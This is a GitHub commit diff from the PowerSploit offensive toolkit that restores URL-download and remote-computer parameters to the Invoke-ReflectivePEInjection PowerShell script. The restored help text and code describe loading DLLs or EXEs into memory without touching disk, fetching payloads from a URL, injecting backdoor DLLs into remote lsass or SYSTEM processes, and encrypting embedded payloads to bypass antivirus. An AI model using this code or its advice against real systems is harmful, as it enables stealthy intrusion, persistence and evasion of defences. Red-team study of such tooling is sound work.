Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit b8e831e

Browse files
Matt GraeberMatt Graeber
Matt Graeber
authored and
Matt Graeber
committed
Revert "Removed extraneous parameters"
This reverts commit 0eb520e.
1 parent 0eb520e commit b8e831e

File tree

1 file changed

+89
-18
lines changed

1 file changed

+89
-18
lines changed

CodeExecution/Invoke-ReflectivePEInjection.ps1

+89-18
Original file line numberDiff line numberDiff line change
@@ -7,31 +7,54 @@ This script has two modes. It can reflectively load a DLL/EXE in to the PowerShe
77
or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,
88
please lead the Notes section (GENERAL NOTES) for information on how to use them.
99
10+
1011
1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
1112
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
1213
14+
This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
15+
this will load and execute the DLL/EXE in to memory without writing any files to disk.
16+
17+
1318
2.) Reflectively load a DLL in to memory of a remote process.
1419
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
1520
1621
This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
1722
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the
1823
remote process.
1924
25+
26+
While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
27+
containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
28+
bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
29+
blog linked below (thanks to whitey).
30+
2031
PowerSploit Function: Invoke-ReflectivePEInjection
21-
Original author: Joe Bialek, Twitter: @JosephBialek
22-
Code review and modifications: Matt Graeber, Twitter: @mattifestation
32+
Author: Joe Bialek, Twitter: @JosephBialek
2333
License: BSD 3-Clause
2434
Required Dependencies: None
2535
Optional Dependencies: None
36+
Version: 1.4
2637
2738
.DESCRIPTION
2839
2940
Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
3041
42+
.PARAMETER PEPath
43+
44+
The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
45+
46+
.PARAMETER PEUrl
47+
48+
A URL containing a DLL/EXE to load and execute.
49+
3150
.PARAMETER PEBytes
3251
3352
A byte array containing a DLL/EXE to load and execute.
3453
54+
.PARAMETER ComputerName
55+
56+
Optional, an array of computernames to run the script on.
57+
3558
.PARAMETER FuncReturnType
3659
3760
Optional, the return type of the function being called in the DLL. Default: Void
@@ -55,30 +78,43 @@ Optional, the process ID of the remote process to inject the DLL in to. If not i
5578
Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
5679
if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
5780
loading in to a remote process.
81+
82+
.EXAMPLE
83+
84+
Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
85+
Note that the file name on the website can be any file extension.
86+
Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
87+
88+
.EXAMPLE
89+
90+
Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
91+
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
5892
5993
.EXAMPLE
6094
61-
Load DemoDLL and run the exported function WStringFunc, print the wchar_t* returned by WStringFunc().
62-
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL.dll')
63-
$Result = Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString
64-
Write-Output $Result
95+
Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
96+
the wchar_t* returned by WStringFunc() from all the computers.
97+
Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
6598
6699
.EXAMPLE
67100
68101
Load DemoEXE and run it locally.
69-
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe')
70-
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
102+
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
71103
72104
.EXAMPLE
73105
74-
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoEXE.exe')
75-
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
106+
Load DemoEXE and run it locally. Forces ASLR on for the EXE.
107+
Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
76108
77109
.EXAMPLE
78110
79111
Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
80-
$PEBytes = [IO.File]::ReadAllBytes('C:\DemoDLL_RemoteProcess.dll')
81-
Invoke-ReflectivePEInjection -PEPath $PEBytes -ProcName lsass
112+
Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
113+
114+
.EXAMPLE
115+
116+
Load a PE from a byte array.
117+
Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
82118
83119
.NOTES
84120
GENERAL NOTES:
@@ -98,6 +134,8 @@ The script has 3 basic sets of functionality:
98134
-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
99135
-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
100136
137+
138+
101139
DLL LOADING NOTES:
102140
103141
PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
@@ -144,36 +182,50 @@ Blog on using this script as a backdoor with SQL server: http://www.casaba.com/b
144182
145183
#>
146184

147-
[CmdletBinding()]
185+
[CmdletBinding(DefaultParameterSetName="WebFile")]
148186
Param(
149-
[Parameter(Position = 0, Mandatory = $true)]
187+
[Parameter(ParameterSetName = "LocalFile", Position = 0, Mandatory = $true)]
188+
[String]
189+
$PEPath,
190+
191+
[Parameter(ParameterSetName = "WebFile", Position = 0, Mandatory = $true)]
192+
[Uri]
193+
$PEUrl,
194+
195+
[Parameter(ParameterSetName = "Bytes", Position = 0, Mandatory = $true)]
150196
[ValidateNotNullOrEmpty()]
151197
[Byte[]]
152198
$PEBytes,
153199

154200
[Parameter(Position = 1)]
201+
[String[]]
202+
$ComputerName,
203+
204+
[Parameter(Position = 2)]
155205
[ValidateSet( 'WString', 'String', 'Void' )]
156206
[String]
157207
$FuncReturnType = 'Void',
158208

159-
[Parameter(Position = 2)]
209+
[Parameter(Position = 3)]
160210
[String]
161211
$ExeArgs,
162212

163-
[Parameter(Position = 3)]
213+
[Parameter(Position = 4)]
164214
[Int32]
165215
$ProcId,
166216

167-
[Parameter(Position = 4)]
217+
[Parameter(Position = 5)]
168218
[String]
169219
$ProcName,
170220

221+
[Parameter(Position = 6)]
171222
[Switch]
172223
$ForceASLR
173224
)
174225

175226
Set-StrictMode -Version 2
176227

228+
177229
$RemoteScriptBlock = {
178230
[CmdletBinding()]
179231
Param(
@@ -2848,6 +2900,18 @@ Function Main
28482900

28492901
Write-Verbose "PowerShell ProcessID: $PID"
28502902

2903+
if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
2904+
{
2905+
Get-ChildItem $PEPath -ErrorAction Stop | Out-Null
2906+
[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
2907+
}
2908+
elseif ($PsCmdlet.ParameterSetName -ieq "WebFile")
2909+
{
2910+
$WebClient = New-Object System.Net.WebClient
2911+
2912+
[Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl)
2913+
}
2914+
28512915
#Verify the image is a valid PE file
28522916
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
28532917

@@ -2871,7 +2935,14 @@ Function Main
28712935
$ExeArgs = "ReflectiveExe"
28722936
}
28732937

2874-
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2938+
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
2939+
{
2940+
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
2941+
}
2942+
else
2943+
{
2944+
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
2945+
}
28752946
}
28762947

28772948
Main

0 commit comments

Comments
 (0)